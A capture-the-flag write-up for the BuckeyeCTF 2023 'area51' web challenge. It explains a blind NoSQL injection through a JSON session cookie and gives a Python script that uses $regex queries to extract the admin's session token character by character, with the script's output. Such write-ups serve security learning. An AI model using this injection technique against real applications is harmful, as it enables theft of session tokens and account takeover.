BuckeyeCTF 2023 - area51
Description
Category: Web
Author: rene
Area51 Raid Luxury Consultation Services
Attachments:
Resolution
1. Overview
First we search where the flag is stored:
1
2
3
4
$ grep -rna FLAG
init_users.js:3:db.users.insert( { username: "AlienAdmin", password: "WackaWacka", admin: true, session: FLAG} )
entrypoint.sh:14:mongo area51 --eval "var FLAG = '$FLAG'" /init_users.js
Dockerfile:30:ENV FLAG="bctf{FaK3_F1aG}"
Here the flag is stored in a database and is the session token of the account AlienAdmin
.
The database used is MongoDB, and the server is written in Node.js.
The classic attack is a NoSQL injection but we need to find an entrypoint first.
2. Find an injection entrypoint
In area51/routes/index.js
we can see two places where we can perform an injection:
1
2
3
4
5
6
7
8
9
10
router.get('/', (req, res) => {
var session = res.cookies.get("session");
if (session) {
session = JSON.parse(session);
var token = session.token
return User.find({
session: token
})
...
1
2
3
4
5
6
7
8
9
10
11
12
router.post('/api/login', (req, res) => {
let { username, password } = req.body;
console.log(username, password, typeof username)
if (username && password && typeof username === 'string' && typeof password === 'string') {
return User.find({
username,
password,
admin: false
})
The second one has a type check which prevents injection since injections are of type dictionnary (which is type of object
).
However we can perform injection in the first one.
3. NoSQL injection
In the root endpoint, we can only inject token
value in the session
cookie.
Then this token
is used to find a user that has this token
value.
If the token
is not valid (i.e none of the user in the database has this token
value) then it will return the main page, otherwise we will see this page:
(I used the available account jumpyWidgeon1
from the init_users.js
).
From init_users.js
we know that the token
of AlienAdmin
is the flag.
Using NoSQL injection, we can guess the each character of the flag thanks to regex rules.
For example, by sending this session
cookie in JSON format
{"session": '{"token": {"$regex": "^word"}}
the backend will search for a user that has a token
starting with word
.
Since we know the page that should be displayed when the token
exists, we can guess each character until we completely reconstruct the flag.
In the regex rule we need to find the token
that starts with bctf{
and not just b
because we might target the wrong one since there are many tokens that also starts with b
.
Here is the implementation in Python:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import string
# HTML content if we logged in successfully
valid = b'<!DOCTYPE html>\n<html>\n<head>\n<title>Pardon our dust</title>\n<meta charset="UTF-8">\n<meta name="viewport" content="width=device-width, initial-scale=1">\n</head>\n<body>\n\n<img src="/images/pardon.webp"></img>\n<p>Pardon our dust</p>\n<p>We\'re working to make this site better! Come back later for an amazing Area51 experience!</p>\n\n<marquee><h1>Thank you for understanding!</h1></marquee>\n\n</body>'
alphabet = string.ascii_letters + string.digits + "_{}"
flag = "bctf{"
while flag[-1] != "}":
for c in alphabet:
cookies = {"session": '{"token": {"$regex": "^'+flag+c+'"}}'}
r = requests.get("https://area51.chall.pwnoh.io/", cookies=cookies)
if r.content == valid:
flag += c
print(flag)
break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
bctf{t
bctf{tH
bctf{tH3
bctf{tH3y
bctf{tH3yR
bctf{tH3yR3
bctf{tH3yR3_
bctf{tH3yR3_U
bctf{tH3yR3_Us
bctf{tH3yR3_Us1
bctf{tH3yR3_Us1n
bctf{tH3yR3_Us1nG
bctf{tH3yR3_Us1nG_
bctf{tH3yR3_Us1nG_C
bctf{tH3yR3_Us1nG_Ch
bctf{tH3yR3_Us1nG_Ch3
bctf{tH3yR3_Us1nG_Ch3M
bctf{tH3yR3_Us1nG_Ch3M1
bctf{tH3yR3_Us1nG_Ch3M1C
bctf{tH3yR3_Us1nG_Ch3M1Ca
bctf{tH3yR3_Us1nG_Ch3M1CaS
bctf{tH3yR3_Us1nG_Ch3M1CaS_
bctf{tH3yR3_Us1nG_Ch3M1CaS_T
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_M
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_Ma
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_T
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_F
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_F0
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_F0g
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_F0gS
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_F0gS_
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_F0gS_G
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_F0gS_GA
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_F0gS_GAy
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_F0gS_GAy}
bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_F0gS_GAy}